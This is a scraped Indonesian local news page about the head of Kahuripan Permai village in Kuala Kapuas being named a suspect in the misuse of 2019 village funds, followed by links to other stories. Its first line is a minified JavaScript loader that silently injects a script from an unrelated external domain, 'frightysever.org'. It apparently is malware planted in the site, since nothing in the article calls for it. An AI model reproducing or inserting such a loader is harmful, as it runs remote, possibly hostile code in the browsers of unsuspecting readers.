(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Pemeriksaan dan penyelidikan terhadap Kepala Desa Kahuripan Permai selama 1,5 bulan sejak 8 Oktober 2020, akhirnya penyidik Cabang Kejaksaan Negeri (Cabjari) Palingkau memiliki cukup bukti FGS ditetapkan tersangka.
Ya, FGS adalah Kepala Desa Kahuripan Permai, Kecamatan Dadahup atas kasus Tindak Pidana Korupsi (Tipikor) pengelolaan Alokasi Dana Desa (ADD) dan Dana Desa (DD) tahun 2019.
Menurut Kepala Cabjari Palingkau Amir Giri, dari hasil pemeriksaan dan penyelidikan yang mereka lakukan, telah ada bukti kuat terkait adanya tindak penyelewengan atau tindak pidana korupsi.
Selain melakukan penggeledahan, pihaknya juga membawa tersangka untuk diproses hukum lebih lanjut.
“FGS yang merupakan Kepala Desa Kahuripan Permai sudah kita tetapkan sebagai tersangka sejak tanggal 30 November 2020,” ungkap Kacabjari Palingkau.
Diungkapkannya, pada Rabu (2/12/2020) di rumah tersangka FGS, pihaknya melakukan penyitaan barang bukti yang disaksikan aparat keamanan dari kepolisian dan Ketua RT setempat.
Sementara dari penggeledahan tersebut ada sekitar 41 barang bukti yang dibawa terdiri dari dokumen, stempel beserta bantalan stempel, printer, tinta stempel dan kwitansi.
Sementara itu, sebagaimana perhitungan auditor, kerugian diperkirakan dugaan mencapai Rp 500 juta dan dalam penetapan tersangka tersebut. Karena telah mendapatkan bukti permulaan yang cukup, dan targetkan akhir bulan ini dapat dinaikan kepenuntutan.
“Untuk pasal yang dikenakan kepada tersangka adalah melanggar pasal 2 ayat 1 atau pasal 3 jo pasal 18 UU RI nomor 31 tahun 1999 jo UU RI nomor 20 tahun 2001 tentang pemberantasan tindak pidana korupsi,” kata Amir Giri. (kanalkalimantan.com/ags)
KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More
KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua DPD Perkumpulan Perempuan Wirausaha Indonesia (Perwira) Kalimantan Selatan, Wahidah melantik 33… Read More
This website uses cookies.